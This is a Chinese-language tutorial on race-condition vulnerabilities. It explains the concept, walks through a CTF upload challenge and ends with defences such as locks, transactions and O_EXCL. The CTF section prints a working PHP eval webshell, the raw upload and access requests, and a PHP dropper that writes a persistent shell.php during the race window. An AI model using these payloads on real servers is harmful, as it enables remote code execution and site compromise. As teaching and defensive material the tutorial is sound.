条件竞争漏洞学习
Web安全条件竞争漏洞学习
0x00 概述
条件竞争漏洞发生在多个线程同时访问同一个共享代码、变量、文件等,,由于多个不同线程同时与相同的数据进行交互,从而导致碰撞冲突(例如,后端多个线程同时修改数据库中的某一个字段值)。攻击者通过精心定制请求到达后端的时间故意制造冲突,并由此实现恶意目的。这个漏洞存在于操作系统、数据库、web等多个层面,由于大多服务端框架在处理不同用户的请求时是并发进行的,而开发者在进行代码开发时常常倾向于认为代码会以线性的方式执行,而忽视了并行服务器会并发执行多个线程,这就会导致意想不到的结果。
简单来说,就是多线程同时操作一个对象,而没有对对象进行加锁等保证一致性的操作
0x01 简单分析
我们来设计一个简答的业务逻辑:商城系统中,用户提交折扣码,后端会检测用户是否已经使用过折扣码。若未使用过,则使用该折扣码,并记录折扣码使用状态为True。若已使用折扣码,用户再次使用折扣码时,后端程序读取折扣码使用状态为True,拒绝用户再次使用折扣码。
我们在这里用一段简单的python代码来模拟后端逻辑,处理请求的handle_req()
函数是并发(多线程/多进程)执行的:
def **handle_req**():
if code_already_used = False: # 判断如果没有使用过折扣码(实际应该是对数据库的查询,此处简化写法)
use_code() # 使用折扣码,对商品进行打折
code_already_used = True # 使用过折扣码后,将折扣码使用状态为True(实际应该是对数据库的数据更新,此处简化写法)
else: # 若已经使用过折扣码
reject_use_code() # 拒绝再次使用折扣码
但是这个过程可能会存在条件竞争漏洞,因为我们第一次请求判断的状态为false即未使用折扣码,但是第一个请求执行到第四行时准备更新数据库内容而第二个请求又开始执行并将折扣码使用状态再一次地标记为false,从而造成了使用了两次折扣码,触发了条件竞争漏洞,如下图所示:后端将记录折扣码使用状态为True之前,可能存在条件竞争,上述第2、3行代码执行的时间就是竞争窗口
。
竞争窗口一般是一段很短的时间段(几毫秒甚至更短),用户通过并行发送多个数据包,使得服务端竞争窗口内执行多次特定的功能。
0x02 CTF中的条件竞争
我们来看这样的一道题目
我们先上传一个一句话木马并把包拦截下来进行分析测试
POST /upload.php HTTP/1.1
Host: Host:Port
Content-Length: 230
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://61.147.171.105:56903
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryMwWBoiGSKcfAYxLh
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: Host:Port
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
------WebKitFormBoundaryMwWBoiGSKcfAYxLh
Content-Disposition: form-data; name="file"; filename="classic.php"
Content-Type: application/octet-stream
<?php @eval($_POST["shell"]); ?>
------WebKitFormBoundaryMwWBoiGSKcfAYxLh--
我们把它放到Repeater中放出去看看,查看返回包
HTTP/1.1 200 OK
Date: Sat, 08 Feb 2025 09:38:03 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8
我们可以看到这里的状态码是200,证明我们是可以成功上传但是在服务器中被删除了,那这时候可以使用以下思路
我们先尝试访问我们上传的一句话并拦截包
GET /upload/classic.php HTTP/1.1
Host: 61.147.171.105:56903
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
这样,我们可以在BurpSuite
中同时拦截下这两个数据包,然后发送至Intruder模块,将payload设置为Null Payload
,并开始攻击,这样我们还需要搭配上这样的一句PHP代码
<?php fputs(fopen("shell.php", "w"), '<?php @eval($_POST["shell"]); ?>'); ?>
它的作用是只要我们上传的文件能被成功访问,它就能在服务器上新建一个shell.php
并将一句话写入,从而使我们能够成功getshel
l~
用两个不同的数据包设置Null Payload
的作用是利用我们提到的“竞争窗口”即上传成功到被删除的这一小段时间去访问我们上传的内鬼让其在服务器上生成一个接应我们的shell,其实简单地说就是用两个不同的操作去同时读写一个文件
Success to upload!
成功拿到flag:cyberpeace{This_is_a_sample_flag}
0x03 如何防御?
以下总结了一些防御方法和常见条件竞争漏洞示例及防御
(1) 使用同步机制
锁(Lock):通过加锁确保同一时间只有一个线程或进程可以访问共享资源。
信号量(Semaphore):限制同时访问资源的线程或进程数量。
互斥量(Mutex):类似于锁,用于多线程环境。
(2) 原子操作
使用原子操作确保操作的不可分割性。
示例:
数据库中的事务(Transaction)。
编程语言中的原子类型(如 atomic 在 C++ 或 Java 中)。
(3) 避免共享资源
尽量减少共享资源的使用,采用线程本地存储(Thread Local Storage, TLS)或进程隔离。
示例:
使用线程本地变量代替全局变量。
(4) 文件操作防御
使用文件锁(File Lock)确保同一时间只有一个进程可以访问文件。
(5) 数据库操作防御
使用事务(Transaction)和锁机制(如行锁、表锁)确保数据一致性。
(6) 时间窗口最小化
减少竞争条件的发生概率,尽量缩短共享资源的访问时间。
示例:
在文件操作中,尽快释放文件锁。
(7) 使用不可变对象
使用不可变对象(Immutable Objects)避免共享资源被修改。
示例:
在函数式编程中,尽量使用不可变数据结构。
(8) 输入验证和边界检查
对用户输入进行严格验证,避免恶意输入触发竞争条件。
示例:
检查文件路径、用户权限等。
(9) 代码审查和测试
通过代码审查发现潜在的竞争条件。
使用压力测试和并发测试工具(如 JMeter、Locust)模拟高并发场景。
常见条件竞争漏洞示例及防御
(1) TOCTOU(Time-of-Check to Time-of-Use)
漏洞描述:在检查资源状态和使用资源之间存在时间窗口,攻击者可以利用这个时间窗口修改资源状态。
防御方法:
使用原子操作(如 open() 的 O_EXCL 标志)。
示例(C 语言):
c
复制
int fd = open("file.txt", O_WRONLY | O_CREAT | O_EXCL, 0644);
if (fd == -1) {
// 文件已存在
}
(2) 文件上传漏洞
漏洞描述:攻击者在上传文件时,利用时间窗口替换文件内容。
防御方法:
使用临时文件,上传完成后再重命名。
示例:
python
复制
import os
import tempfile
with tempfile.NamedTemporaryFile(delete=False) as tmp_file:
tmp_file.write(b"file content")
tmp_path = tmp_file.name
os.rename(tmp_path, "final_file.txt")
(3) 并发修改共享变量
漏洞描述:多个线程同时修改共享变量,导致数据不一致。
防御方法:
使用锁或原子操作。
示例(Java):
java
复制
import java.util.concurrent.atomic.AtomicInteger;
AtomicInteger sharedResource = new AtomicInteger(0);
public void updateResource() {
sharedResource.incrementAndGet();
}